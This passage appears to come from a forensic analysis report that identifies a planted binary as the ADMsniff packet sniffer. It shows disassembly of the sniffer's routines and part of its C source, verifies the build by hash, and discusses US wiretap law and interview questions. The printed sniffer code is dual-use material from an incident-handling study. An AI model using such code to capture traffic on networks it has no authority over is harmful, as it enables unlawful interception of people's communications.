        flushstruct (i, 0);
      fflush (filez);
      break;
    }
  return (1);
}
```

The object code.

```
08048a20 <Log>:
 8048a20:       55                      push   %ebp
 8048a21:       89 e5                   mov    %esp,%ebp
 8048a23:       56                      push   %esi
 8048a24:       53                      push   %ebx
 8048a25:       81 ec 60 1f 00 00       sub    $0x1f60,%esp
 8048a2b:       66 c7 05 ac 44 0a 08    movw   $0x0,0x80a44ac
 8048a32:       00 00
 8048a34:       0f b7 05 b8 b5 0a 08    movzwl 0x80ab5b8,%eax
 8048a3b:       03 05 d8 b5 0a 08       add    0x80ab5d8,%eax
 8048a41:       a3 e0 76 0a 08          mov    %eax,0x80a76e0
 8048a46:       0f b7 05 b8 b5 0a 08    movzwl 0x80ab5b8,%eax
 8048a4d:       03 05 d8 b5 0a 08       add    0x80ab5d8,%eax
 8048a53:       83 c0 14                add    $0x14,%eax
 8048a56:       a3 c0 b5 0a 08          mov    %eax,0x80ab5c0
 8048a5b:       c7 45 f4 00 00 00 00    movl   $0x0,0xfffffff4(%ebp)
 8048a62:       89 f6                   mov    %esi,%esi
 8048a64:       81 7d f4 fe 00 00 00    cmpl   $0xfe,0xfffffff4(%ebp)
 8048a6b:       76 03                   jbe    8048a70 <Log+0x50>
 8048a6d:       eb 15                   jmp    8048a84 <Log+0x64>
 8048a6f:       90                      nop
 8048a70:       ba a0 64 0a 08          mov    $0x80a64a0,%edx
 8048a75:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
 8048a78:       c6 04 10 00             movb   $0x0,(%eax,%edx,1)
 8048a7c:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
 8048a7f:       ff 00                   incl   (%eax)
 8048a81:       eb e1                   jmp    8048a64 <Log+0x44>
 8048a83:       90                      nop
 8048a84:       90                      nop
 8048a85:       c7 45 f4 00 00 00 00    movl   $0x0,0xfffffff4(%ebp)
 8048a8c:       81 7d f4 fe 00 00 00    cmpl   $0xfe,0xfffffff4(%ebp)
 8048a93:       76 03                   jbe    8048a98 <Log+0x78>
 8048a95:       eb 15                   jmp    8048aac <Log+0x8c>
 8048a97:       90                      nop
 8048a98:       ba a0 65 0a 08          mov    $0x80a65a0,%edx
 8048a9d:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
 8048aa0:       c6 04 10 00             movb   $0x0,(%eax,%edx,1)
 8048aa4:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
 8048aa7:       ff 00                   incl   (%eax)
 8048aa9:       eb e1                   jmp    8048a8c <Log+0x6c>
 8048aab:       90                      nop
 8048aac:       90                      nop
 8048aad:       c7 45 f4 00 00 00 00    movl   $0x0,0xfffffff4(%ebp)
```

```
8048ab4:       81 7d f4 fe 00 00 00    cmpl   $0xfe,0xfffffff4(%ebp)
8048abb:       76 03                   jbe    8048ac0 <Log+0xa0>
8048abd:       eb 15                   jmp    8048ad4 <Log+0xb4>
8048abf:       90                      nop
8048ac0:       ba a0 66 0a 08          mov    $0x80a66a0,%edx
8048ac5:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
8048ac8:       c6 04 10 00             movb   $0x0,(%eax,%edx,1)
8048acc:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
8048acf:       ff 00                   incl   (%eax)
8048ad1:       eb e1                   jmp    8048ab4 <Log+0x94>
8048ad3:       90                      nop
8048ad4:       90                      nop
8048ad5:       c7 45 f4 00 00 00 00    movl   $0x0,0xfffffff4(%ebp)
8048adc:       81 7d f4 fe 00 00 00    cmpl   $0xfe,0xfffffff4(%ebp)
8048ae3:       76 03                   jbe    8048ae8 <Log+0xc8>
8048ae5:       eb 15                   jmp    8048afc <Log+0xdc>
8048ae7:       90                      nop
8048ae8:       ba a0 67 0a 08          mov    $0x80a67a0,%edx
8048aed:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
8048af0:       c6 04 10 00             movb   $0x0,(%eax,%edx,1)
8048af4:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
8048af7:       ff 00                   incl   (%eax)
8048af9:       eb e1                   jmp    8048adc <Log+0xbc>
8048afb:       90                      nop
8048afc:       a1 e0 76 0a 08          mov    0x80a76e0,%eax
8048b01:       0f b6 40 09             movzbl 0x9(%eax),%eax
8048b05:       83 f8 06                cmp    $0x6,%eax
8048b08:       74 06                   je     8048b10 <Log+0xf0>
8048b0a:       e9 52 02 00 00          jmp    8048d61 <Log+0x341>
8048b0f:       90                      nop
8048b10:       0f b7 15 b8 b5 0a 08    movzwl 0x80ab5b8,%edx
8048b17:       a1 d4 b5 0a 08          mov    0x80ab5d4,%eax
8048b1c:       29 d0                   sub    %edx,%eax
8048b1e:       83 e8 14                sub    $0x14,%eax
8048b21:       83 f8 13                cmp    $0x13,%eax
8048b24:       77 06                   ja     8048b2c <Log+0x10c>
8048b26:       e9 36 02 00 00          jmp    8048d61 <Log+0x341>
8048b2b:       90                      nop
8048b2c:       90                      nop
8048b2d:       c7 45 f4 00 00 00 00    movl   $0x0,0xfffffff4(%ebp)
8048b34:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
8048b37:       89 c0                   mov    %eax,%eax
8048b39:       8d 14 00                lea    (%eax,%eax,1),%edx
8048b3c:       b8 96 44 0a 08          mov    $0x80a4496,%eax
8048b41:       66 81 3c 02 69 7a       cmpw   $0x7a69,(%edx,%eax,1)
8048b47:       75 03                   jne    8048b4c <Log+0x12c>
8048b49:       eb 71                   jmp    8048bbc <Log+0x19c>
8048b4b:       90                      nop
8048b4c:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
8048b4f:       89 c0                   mov    %eax,%eax
8048b51:       8d 34 00                lea    (%eax,%eax,1),%esi
8048b54:       bb 96 44 0a 08          mov    $0x80a4496,%ebx
8048b59:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048b5e:       0f b7 00                movzwl (%eax),%eax
8048b61:       83 ec 0c                sub    $0xc,%esp
8048b64:       50                      push   %eax
8048b65:       e8 b6 b1 00 00          call   8053d20 <htons>
```

```
8048b6a:       83 c4 10                add    $0x10,%esp
8048b6d:       89 c0                   mov    %eax,%eax
8048b6f:       89 c0                   mov    %eax,%eax
8048b71:       66 39 04 1e             cmp    %ax,(%esi,%ebx,1)
8048b75:       74 31                   je     8048ba8 <Log+0x188>
8048b77:       8b 45 f4                mov    0xfffffff4(%ebp),%eax
8048b7a:       89 c0                   mov    %eax,%eax
8048b7c:       8d 34 00                lea    (%eax,%eax,1),%esi
8048b7f:       bb 96 44 0a 08          mov    $0x80a4496,%ebx
8048b84:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048b89:       0f b7 40 02             movzwl 0x2(%eax),%eax
8048b8d:       83 ec 0c                sub    $0xc,%esp
8048b90:       50                      push   %eax
8048b91:       e8 8a b1 00 00          call   8053d20 <htons>
8048b96:       83 c4 10                add    $0x10,%esp
8048b99:       89 c0                   mov    %eax,%eax
8048b9b:       89 c0                   mov    %eax,%eax
8048b9d:       66 39 04 1e             cmp    %ax,(%esi,%ebx,1)
8048ba1:       74 05                   je     8048ba8 <Log+0x188>
8048ba3:       eb 0c                   jmp    8048bb1 <Log+0x191>
8048ba5:       8d 76 00                lea    0x0(%esi),%esi
8048ba8:       66 c7 05 ac 44 0a 08    movw   $0x1,0x80a44ac
8048baf:       01 00
8048bb1:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
8048bb4:       ff 00                   incl   (%eax)
8048bb6:       e9 79 ff ff ff          jmp    8048b34 <Log+0x114>
8048bbb:       90                      nop
8048bbc:       66 83 3d ac 44 0a 08    cmpw   $0x1,0x80a44ac
8048bc3:       01
8048bc4:       74 0a                   je     8048bd0 <Log+0x1b0>
8048bc6:       b8 01 00 00 00          mov    $0x1,%eax
8048bcb:       e9 96 01 00 00          jmp    8048d66 <Log+0x346>
8048bd0:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048bd5:       0f b7 00                movzwl (%eax),%eax
8048bd8:       83 ec 0c                sub    $0xc,%esp
8048bdb:       50                      push   %eax
8048bdc:       e8 3f b1 00 00          call   8053d20 <htons>
8048be1:       83 c4 10                add    $0x10,%esp
8048be4:       89 c0                   mov    %eax,%eax
8048be6:       66 a3 ae 44 0a 08       mov    %ax,0x80a44ae
8048bec:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048bf1:       0f b7 40 02             movzwl 0x2(%eax),%eax
8048bf5:       83 ec 0c                sub    $0xc,%esp
8048bf8:       50                      push   %eax
8048bf9:       e8 22 b1 00 00          call   8053d20 <htons>
8048bfe:       83 c4 10                add    $0x10,%esp
8048c01:       89 c0                   mov    %eax,%eax
8048c03:       66 a3 b0 44 0a 08       mov    %ax,0x80a44b0
8048c09:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048c0e:       0f b7 40 02             movzwl 0x2(%eax),%eax
8048c12:       50                      push   %eax
8048c13:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
8048c18:       0f b7 00                movzwl (%eax),%eax
8048c1b:       50                      push   %eax
8048c1c:       a1 e0 76 0a 08          mov    0x80a76e0,%eax
8048c21:       ff 70 10                pushl  0x10(%eax)
8048c24:       a1 e0 76 0a 08          mov    0x80a76e0,%eax
```

```
8048c29:       ff 70 0c                 pushl  0xc(%eax)
8048c2c:       e8 cb fb ff ff           call   80487fc <newstruct>
8048c31:       83 c4 10                 add    $0x10,%esp
8048c34:       89 c0                    mov    %eax,%eax
8048c36:       89 45 f4                 mov    %eax,0xfffffff4(%ebp)
8048c39:       83 7d f4 ff              cmpl   $0xffffffff,0xfffffff4(%ebp)
8048c3d:       75 0d                    jne    8048c4c <Log+0x22c>
8048c3f:       b8 00 00 00 00           mov    $0x0,%eax
8048c44:       e9 1d 01 00 00           jmp    8048d66 <Log+0x346>
8048c49:       8d 76 00                 lea    0x0(%esi),%esi
8048c4c:       0f b7 05 b8 b5 0a 08     movzwl 0x80ab5b8,%eax
8048c53:       03 05 d8 b5 0a 08        add    0x80ab5d8,%eax
8048c59:       83 c0 28                 add    $0x28,%eax
8048c5c:       a3 c4 b5 0a 08           mov    %eax,0x80ab5c4
8048c61:       66 8b 15 b8 b5 0a 08     mov    0x80ab5b8,%dx
8048c68:       66 a1 d4 b5 0a 08        mov    0x80ab5d4,%ax
8048c6e:       66 29 d0                 sub    %dx,%ax
8048c71:       83 e8 28                 sub    $0x28,%eax
8048c74:       66 a3 aa 44 0a 08        mov    %ax,0x80a44aa
8048c7a:       83 ec 04                 sub    $0x4,%esp
8048c7d:       68 4c 1f 00 00           push   $0x1f4c
8048c82:       6a 00                    push   $0x0
8048c84:       8d 85 98 e0 ff ff        lea    0xffffe098(%ebp),%eax
8048c8a:       50                       push   %eax
8048c8b:       e8 dc a4 00 00           call   805316c <memset>
8048c90:       83 c4 10                 add    $0x10,%esp
8048c93:       83 ec 04                 sub    $0x4,%esp
8048c96:       0f b7 05 aa 44 0a 08     movzwl 0x80a44aa,%eax
8048c9d:       50                       push   %eax
8048c9e:       8d 85 98 e0 ff ff        lea    0xffffe098(%ebp),%eax
8048ca4:       50                       push   %eax
8048ca5:       ff 35 c4 b5 0a 08        pushl  0x80ab5c4
8048cab:       e8 50 f5 ff ff           call   8048200 <goodstr>
8048cb0:       83 c4 10                 add    $0x10,%esp
8048cb3:       83 ec 04                 sub    $0x4,%esp
8048cb6:       8b 45 f4                 mov    0xfffffff4(%ebp),%eax
8048cb9:       89 c0                    mov    %eax,%eax
8048cbb:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
8048cc2:       b8 00 77 0a 08           mov    $0x80a7700,%eax
8048cc7:       8b 04 02                 mov    (%edx,%eax,1),%eax
8048cca:       83 c0 10                 add    $0x10,%eax
8048ccd:       83 ec 08                 sub    $0x8,%esp
8048cd0:       50                       push   %eax
8048cd1:       e8 86 a3 00 00           call   805305c <strlen>
8048cd6:       83 c4 0c                 add    $0xc,%esp
8048cd9:       89 c0                    mov    %eax,%eax
8048cdb:       89 c2                    mov    %eax,%edx
8048cdd:       b8 aa 0f 00 00           mov    $0xfaa,%eax
8048ce2:       29 d0                    sub    %edx,%eax
8048ce4:       50                       push   %eax
8048ce5:       8d 85 98 e0 ff ff        lea    0xffffe098(%ebp),%eax
8048ceb:       50                       push   %eax
8048cec:       8b 45 f4                 mov    0xfffffff4(%ebp),%eax
8048cef:       89 c0                    mov    %eax,%eax
8048cf1:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
8048cf8:       b8 00 77 0a 08           mov    $0x80a7700,%eax
8048cfd:       8b 04 02                 mov    (%edx,%eax,1),%eax
```

```
 8048d00:       83 c0 10                add    $0x10,%eax
 8048d03:       50                      push   %eax
 8048d04:       e8 73 a3 00 00          call   805307c <strncat>
 8048d09:       83 c4 10                add    $0x10,%esp
 8048d0c:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
 8048d11:       8a 40 0d                mov    0xd(%eax),%al
 8048d14:       83 e0 04                and    $0x4,%eax
 8048d17:       84 c0                   test   %al,%al
 8048d19:       75 11                   jne    8048d2c <Log+0x30c>
 8048d1b:       a1 c0 b5 0a 08          mov    0x80ab5c0,%eax
 8048d20:       8a 40 0d                mov    0xd(%eax),%al
 8048d23:       83 e0 01                and    $0x1,%eax
 8048d26:       84 c0                   test   %al,%al
 8048d28:       75 02                   jne    8048d2c <Log+0x30c>
 8048d2a:       eb 14                   jmp    8048d40 <Log+0x320>
 8048d2c:       83 ec 08                sub    $0x8,%esp
 8048d2f:       6a 01                   push   $0x1
 8048d31:       ff 75 f4                pushl  0xfffffff4(%ebp)
 8048d34:       e8 4f f5 ff ff          call   8048288 <flushstruct>
 8048d39:       83 c4 10                add    $0x10,%esp
 8048d3c:       eb 12                   jmp    8048d50 <Log+0x330>
 8048d3e:       89 f6                   mov    %esi,%esi
 8048d40:       83 ec 08                sub    $0x8,%esp
 8048d43:       6a 00                   push   $0x0
 8048d45:       ff 75 f4                pushl  0xfffffff4(%ebp)
 8048d48:       e8 3b f5 ff ff          call   8048288 <flushstruct>
 8048d4d:       83 c4 10                add    $0x10,%esp
 8048d50:       83 ec 0c                sub    $0xc,%esp
 8048d53:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
 8048d59:       e8 f2 1b 00 00          call   804a950 <_IO_fflush>
 8048d5e:       83 c4 10                add    $0x10,%esp
 8048d61:       b8 01 00 00 00          mov    $0x1,%eax
 8048d66:       8d 65 f8                lea    0xfffffff8(%ebp),%esp
 8048d69:       5b                      pop    %ebx
 8048d6a:       5e                      pop    %esi
 8048d6b:       5d                      pop    %ebp
 8048d6c:       c3                      ret
 8048d6d:       8d 76 00                lea    0x0(%esi),%esi
```

This routine uses many of the global variables in this program, so there are quite a few new addresses here that we have not seen before. Hoewever, all of the addresses (representing the variables `LOG`, `buf`, `ETHHDRSIZE`, `ip`, `tcp`, `logname`, `tmp`, `sip`, `dip`, `coolport`, `sport`, `dport`, `data`, and `len`, see the source code) differ between the two binaries by the same 0x6c0 that we have seen before. The only new library routine called from this routine is `strncat` whose address differs by four between the binaries.

The last routine to examine is `main`.

```
int
main (argc, argv)
     int argc;
     char **argv;
{
```

```
  char ebuf[255];
  int i;
  if (argc < 2)
    {
      printf ("ADMsniff %s <device> [HEADERSIZE] [DEBUG] \n", VERSION);
      printf ("ex   : admsniff le0\n");
      printf (" ..ooOO The ADM Crew OOoo.. \n");
      exit (ERROR);
    }
  for (i = 0; i < 4012; i++)
    theipz[i] = NULL;
  pcap_d = pcap_open_live (argv[1], 8024, 1, 1000, ebuf);
  if (pcap_d == NULL)
    {
      printf ("cant open pcap device :<\n");
      return (-1);
    }
  switch (pcap_datalink (pcap_d))
    {
    case DLT_NULL:
      ETHHDRSIZE = 4;
      break;
    case DLT_EN10MB:
    case DLT_EN3MB:
      ETHHDRSIZE = 14;
      break;
    case DLT_PPP:
      ETHHDRSIZE = 4;
      break;
    case DLT_SLIP:
      ETHHDRSIZE = 16;
      break;
    case DLT_FDDI:
      ETHHDRSIZE = 21;
      break;
    case DLT_RAW:
      ETHHDRSIZE = 0;
      break;
    default:
      fprintf (stderr, "init_pcap : Unknown device type!\n");
      return (-1);
    }
  printf ("ADMsniff %s  in libpcap we trust !\n", VERSION);
  printf ("credits: ADM, mel , ^pretty^ for the mail she sent me\n");
  filez = fopen ("The_l0gz", "w");
  while (1)
    {
      buf = (u_char *) pcap_next (pcap_d, &h);
      fflush (stdout);
      if ((h.len - ETHHDRSIZE) >= IPHDRSIZE && buf != NULL)
        Log ();
    }
  return (0);
}
```

As with some of the earlier routines, we have cut the above down, eliminating blank lines and the portions of the #ifndefs that did not apply to our build. This gives us the following object code.

```
08048d70 <main>:
 8048d70:       55                      push   %ebp
 8048d71:       89 e5                   mov    %esp,%ebp
 8048d73:       81 ec 18 01 00 00       sub    $0x118,%esp
 8048d79:       83 7d 08 01             cmpl   $0x1,0x8(%ebp)
 8048d7d:       7f 41                   jg     8048dc0 <main+0x50>
 8048d7f:       83 ec 08                sub    $0x8,%esp
 8048d82:       68 40 09 09 08          push   $0x8090940
 8048d87:       68 60 09 09 08          push   $0x8090960
 8048d8c:       e8 2f 1a 00 00          call   804a7c0 <_IO_printf>
 8048d91:       83 c4 10                add    $0x10,%esp
 8048d94:       83 ec 0c                sub    $0xc,%esp
 8048d97:       68 8c 09 09 08          push   $0x809098c
 8048d9c:       e8 1f 1a 00 00          call   804a7c0 <_IO_printf>
 8048da1:       83 c4 10                add    $0x10,%esp
 8048da4:       83 ec 0c                sub    $0xc,%esp
 8048da7:       68 a1 09 09 08          push   $0x80909a1
 8048dac:       e8 0f 1a 00 00          call   804a7c0 <_IO_printf>
 8048db1:       83 c4 10                add    $0x10,%esp
 8048db4:       83 ec 0c                sub    $0xc,%esp
 8048db7:       6a ff                   push   $0xffffffff
 8048db9:       e8 ee 17 00 00          call   804a5ac <exit>
 8048dbe:       89 f6                   mov    %esi,%esi
 8048dc0:       90                      nop
 8048dc1:       c7 85 f4 fe ff ff 00    movl   $0x0,0xfffffef4(%ebp)
 8048dc8:       00 00 00
 8048dcb:       90                      nop
 8048dcc:       81 bd f4 fe ff ff ab    cmpl   $0xfab,0xfffffef4(%ebp)
 8048dd3:       0f 00 00
 8048dd6:       7e 04                   jle    8048ddc <main+0x6c>
 8048dd8:       eb 2a                   jmp    8048e04 <main+0x94>
 8048dda:       89 f6                   mov    %esi,%esi
 8048ddc:       8b 85 f4 fe ff ff       mov    0xfffffef4(%ebp),%eax
 8048de2:       89 c0                   mov    %eax,%eax
 8048de4:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
 8048deb:       b8 00 77 0a 08          mov    $0x80a7700,%eax
 8048df0:       c7 04 02 00 00 00 00    movl   $0x0,(%edx,%eax,1)
 8048df7:       8d 85 f4 fe ff ff       lea    0xfffffef4(%ebp),%eax
 8048dfd:       ff 00                   incl   (%eax)
 8048dff:       eb cb                   jmp    8048dcc <main+0x5c>
 8048e01:       8d 76 00                lea    0x0(%esi),%esi
 8048e04:       83 ec 0c                sub    $0xc,%esp
 8048e07:       8d 85 f8 fe ff ff       lea    0xfffffef8(%ebp),%eax
 8048e0d:       50                      push   %eax
 8048e0e:       68 e8 03 00 00          push   $0x3e8
 8048e13:       6a 01                   push   $0x1
 8048e15:       68 58 1f 00 00          push   $0x1f58
 8048e1a:       8b 45 0c                mov    0xc(%ebp),%eax
 8048e1d:       83 c0 04                add    $0x4,%eax
 8048e20:       ff 30                   pushl  (%eax)
 8048e22:       e8 e9 02 00 00          call   8049110 <pcap_open_live>
 8048e27:       83 c4 20                add    $0x20,%esp
```

```
8048e2a:       a3 b0 b5 0a 08          mov    %eax,0x80ab5b0
8048e2f:       83 3d b0 b5 0a 08 00    cmpl   $0x0,0x80ab5b0
8048e36:       75 1c                   jne    8048e54 <main+0xe4>
8048e38:       83 ec 0c                sub    $0xc,%esp
8048e3b:       68 bf 09 09 08          push   $0x80909bf
8048e40:       e8 7b 19 00 00          call   804a7c0 <_IO_printf>
8048e45:       83 c4 10                add    $0x10,%esp
8048e48:       b8 ff ff ff ff          mov    $0xffffffff,%eax
8048e4d:       e9 32 01 00 00          jmp    8048f84 <main+0x214>
8048e52:       89 f6                   mov    %esi,%esi
8048e54:       83 ec 0c                sub    $0xc,%esp
8048e57:       ff 35 b0 b5 0a 08       pushl  0x80ab5b0
8048e5d:       e8 da 08 00 00          call   804973c <pcap_datalink>
8048e62:       83 c4 10                add    $0x10,%esp
8048e65:       89 85 f0 fe ff ff       mov    %eax,0xfffffef0(%ebp)
8048e6b:       83 bd f0 fe ff ff 0c    cmpl   $0xc,0xfffffef0(%ebp)
8048e72:       77 58                   ja     8048ecc <main+0x15c>
8048e74:       8b 95 f0 fe ff ff       mov    0xfffffef0(%ebp),%edx
8048e7a:       8b 04 95 b0 0a 09 08    mov    0x8090ab0(,%edx,4),%eax
8048e81:       ff e0                   jmp    *%eax
8048e83:       90                      nop
8048e84:       66 c7 05 b8 b5 0a 08    movw   $0x4,0x80ab5b8
8048e8b:       04 00
8048e8d:       eb 5d                   jmp    8048eec <main+0x17c>
8048e8f:       90                      nop
8048e90:       66 c7 05 b8 b5 0a 08    movw   $0xe,0x80ab5b8
8048e97:       0e 00
8048e99:       eb 51                   jmp    8048eec <main+0x17c>
8048e9b:       90                      nop
8048e9c:       66 c7 05 b8 b5 0a 08    movw   $0x4,0x80ab5b8
8048ea3:       04 00
8048ea5:       eb 45                   jmp    8048eec <main+0x17c>
8048ea7:       90                      nop
8048ea8:       66 c7 05 b8 b5 0a 08    movw   $0x10,0x80ab5b8
8048eaf:       10 00
8048eb1:       eb 39                   jmp    8048eec <main+0x17c>
8048eb3:       90                      nop
8048eb4:       66 c7 05 b8 b5 0a 08    movw   $0x15,0x80ab5b8
8048ebb:       15 00
8048ebd:       eb 2d                   jmp    8048eec <main+0x17c>
8048ebf:       90                      nop
8048ec0:       66 c7 05 b8 b5 0a 08    movw   $0x0,0x80ab5b8
8048ec7:       00 00
8048ec9:       eb 21                   jmp    8048eec <main+0x17c>
8048ecb:       90                      nop
8048ecc:       83 ec 08                sub    $0x8,%esp
8048ecf:       68 e0 09 09 08          push   $0x80909e0
8048ed4:       ff 35 a8 4a 0a 08       pushl  0x80a4aa8
8048eda:       e8 c5 18 00 00          call   804a7a4 <fprintf>
8048edf:       83 c4 10                add    $0x10,%esp
8048ee2:       b8 ff ff ff ff          mov    $0xffffffff,%eax
8048ee7:       e9 98 00 00 00          jmp    8048f84 <main+0x214>
8048eec:       83 ec 08                sub    $0x8,%esp
8048eef:       68 40 09 09 08          push   $0x8090940
8048ef4:       68 20 0a 09 08          push   $0x8090a20
8048ef9:       e8 c2 18 00 00          call   804a7c0 <_IO_printf>
8048efe:       83 c4 10                add    $0x10,%esp
```

```
8048f01:       83 ec 0c                sub    $0xc,%esp
8048f04:       68 60 0a 09 08          push   $0x8090a60
8048f09:       e8 b2 18 00 00          call   804a7c0 <_IO_printf>
8048f0e:       83 c4 10                add    $0x10,%esp
8048f11:       83 ec 08                sub    $0x8,%esp
8048f14:       68 97 0a 09 08          push   $0x8090a97
8048f19:       68 99 0a 09 08          push   $0x8090a99
8048f1e:       e8 f5 1a 00 00          call   804aa18 <_IO_new_fopen>
8048f23:       83 c4 10                add    $0x10,%esp
8048f26:       89 c0                   mov    %eax,%eax
8048f28:       a3 b4 b5 0a 08          mov    %eax,0x80ab5b4
8048f2d:       8d 76 00                lea    0x0(%esi),%esi
8048f30:       83 ec 08                sub    $0x8,%esp
8048f33:       68 c8 b5 0a 08          push   $0x80ab5c8
8048f38:       ff 35 b0 b5 0a 08       pushl  0x80ab5b0
8048f3e:       e8 c5 07 00 00          call   8049708 <pcap_next>
8048f43:       83 c4 10                add    $0x10,%esp
8048f46:       a3 d8 b5 0a 08          mov    %eax,0x80ab5d8
8048f4b:       83 ec 0c                sub    $0xc,%esp
8048f4e:       ff 35 a4 4a 0a 08       pushl  0x80a4aa4
8048f54:       e8 f7 19 00 00          call   804a950 <_IO_fflush>
8048f59:       83 c4 10                add    $0x10,%esp
8048f5c:       0f b7 05 b8 b5 0a 08    movzwl 0x80ab5b8,%eax
8048f63:       8b 15 d4 b5 0a 08       mov    0x80ab5d4,%edx
8048f69:       29 c2                   sub    %eax,%edx
8048f6b:       89 d0                   mov    %edx,%eax
8048f6d:       83 f8 13                cmp    $0x13,%eax
8048f70:       76 be                   jbe    8048f30 <main+0x1c0>
8048f72:       83 3d d8 b5 0a 08 00    cmpl   $0x0,0x80ab5d8
8048f79:       74 b5                   je     8048f30 <main+0x1c0>
8048f7b:       e8 a0 fa ff ff          call   8048a20 <Log>
8048f80:       eb ae                   jmp    8048f30 <main+0x1c0>
8048f82:       89 f6                   mov    %esi,%esi
8048f84:       c9                      leave
8048f85:       c3                      ret
8048f86:       89 f6                   mov    %esi,%esi
```

The new things of note in this routine are some routines from libpcap (pcap_open_live, pcap_datalink, and pcap_open), some different format strings for the printfs (all in the same range as noted before), and calls to `exit` and `fopen`. `dress` was able to match up all of these library routines.

We have now seen that the code from the mystery binary is functionally equivalent to that generated from the source code we downloaded, so we are confident in our identification of the mystery binary as ADMsniff. Given the similarities even in most of the libraries, we suspect that the binary may have been built on a machine running an unpatched Red Hat 7.2 install. We also still have some questions about that IP address we noted in the Forensic Details section. Our version does not show that IP address when we run `strace` on it (not shown here). To test this hypothesis, we found some Red Hat 7.2 CD-ROMs and created a stock Red Hat 7.2 virtual machine under VMWare. We then built (and stripped) the resulting

binary using the same steps described above. Below, we see size and hash info on the resulting binary.

```
root@achilles[507]$ ls -l ADMsniff-1
-rwxr-xr-x    1 root     root       399124 Jun  8 14:12 ADMsniff-1
root@achilles[508]$ ls -l /tmp/sn.dat
-rw-r--r--    1 root     root       399124 Apr 11 09:49 /tmp/sn.dat
root@achilles[509]$ md5sum ADMsniff-1
0e954f43fd73f56e812a7285f32e41d3  ADMsniff-1
root@achilles[510]$ cat /tmp/sn.md5
0e954f43fd73f56e812a7285f32e41d3  sn
```

Eureka! Here we see that we have, in fact, reproduced the exact conditions under which the mystery binary was built. This also answers one of our earlier questions, the IP address that we noted during the `strace`, was a red herring. The version we built also shows the same IP address, so we assume it must be an artifact on the stack that is being improperly interpreted by `strace`.

Legal Implications

As mentioned above in the File Ownership section, it appears that the binary was moved from the victim machine to a Windows machine where it was zipped up and then sent on to us, so we have no way of actually verifying whether or not the binary was executed on the original victim machine. The existence of a file named `The_L0gz` on the victim machine would be a clear indicator that the binary had been executed. We will proceed with this discussion on the assumption that it was executed. Further, from our experimentation earlier, it is clear that the binary captures the entire contents of the packets and not just the header information (source and destination addresses and ports). From the United States Department of Justice Search and Seizure Manual[16] (DOJSS), we see the following:

> The Pen/Trap statute permits law enforcement to obtain the addressing information of Internet communications much as it would addressing information for traditional phone calls. However, reading the entire packet ordinarily implicates Title III. The primary difference between an Internet pen/trap device and an Internet Title III intercept device (sometimes known as a "sniffer") is that the former is programmed to capture and retain only addressing information, while the latter is programmed to capture and retain the entire packet.

This suggests that it is the "Wiretap Statute" or Title III (18 U.S.C. §§ 2510-2522) that applies in this case. According to 18 U.S.C. §2511(4)(a)[17], criminal violation of the this statute by illegally intercepting wire communication can be fined and/or imprisoned for up to five years. The person or persons violating this statute may

[16] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pg. 112, paragraph 1
[17] See http://www.usdoj.gov:80/criminal/cybercrime/18usc2511.htm

also be liable for civil penalties under 18 U.S.C. §2520(c)(2)[18]. The DOJ Search and Seizure Manual[19], lists seven exceptions to Title III (each of which will be covered in detail in Part 3 – Legal Issues). None of these exceptions appear to apply here unless the person planting the mystery binary is the system administrator or can produce a court order.

Interview Questions

This next section would seem to be irrelevant since it is based on a premise that we believe invalid. That is, it assumes that the person who planted the mystery binary would answer truthfully if caught and questioned. The questions below are premised on the assumption that we found `The_l0gz` and on the victim system and thus determined (via MACTime analysis) the time when the binary was installed and executed.

1) Do you have root access to the victim machine? As noted above, this binary only works if run as root so that it can put the interface into promiscuous mode.
2) Do you have access to an Intel Red Hat 7.2 system?
3) Can you produce a court order authorizing you to monitor traffic on the victim network?
4) Are you the system or network administrator on the victim network?
5) Were you logged in to the victim system at the time the binary was installed and the time when it was executed? We would also attempt to correlate with data from wtmp and process accounting, if enabled.

Additional References

- lfstatus can be found at http://www.cymru.com/Tools/ifstatus-4.0.tar.gz
- The ADMsniff source can be found at http://www.freelsd/ADM/ADMsniff.tar.gz
- Since completing this analysis, the results of the Honeynet Reverse Challenge have been released. The top submissions (we've only made it through the top 3 so far) are fascinating reads. http://project.honeynet.org/reverse/
- Fenris can be found at http://razor.bindview.com/Tools/fenris/
- Michal Zalewski's list of other useful tools can be found at http://lcamtuf.coredump.cx/fenris/other.txt
- The Reverse Engineering Compiler is another fascinating tool for doing this sort of analysis, http://www.backerstreet.com/rec/rec.htm
- See Part 3 for more links to the law than most people would care to deal with.

[18] See http:// www4.law.cornell.edu/uscode/18/2520.html
[19] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pp. 121-133

Part 3 – Legal Issues of Incident Handling

Wiretap Statute

In this section, we shall describe the Wiretap Act, also know as Title III of the Omnibus Crime and Control and Safe Streets Act of 1968 (or often more simply as just Title III) and is codified in 18 U.S.C. §§2510-2521[20],[21]. When originally passed, this statute applied strictly to telephonic communication. In 1986, the Electronic Communications Privacy Act (or ECPA) (18 U.S.C. §§2501-2510) extended the provisions of the Wiretap Act to essentially *any* electronic communication that is intercepted contemporaneously with transmission. That is, Title III now applies to traffic sniffed off of the network, but does not apply to stored communication such as e-mail sitting on a server waiting for the intended recipient to run her/his e-mail software to read it. We shall return to this last issue later.

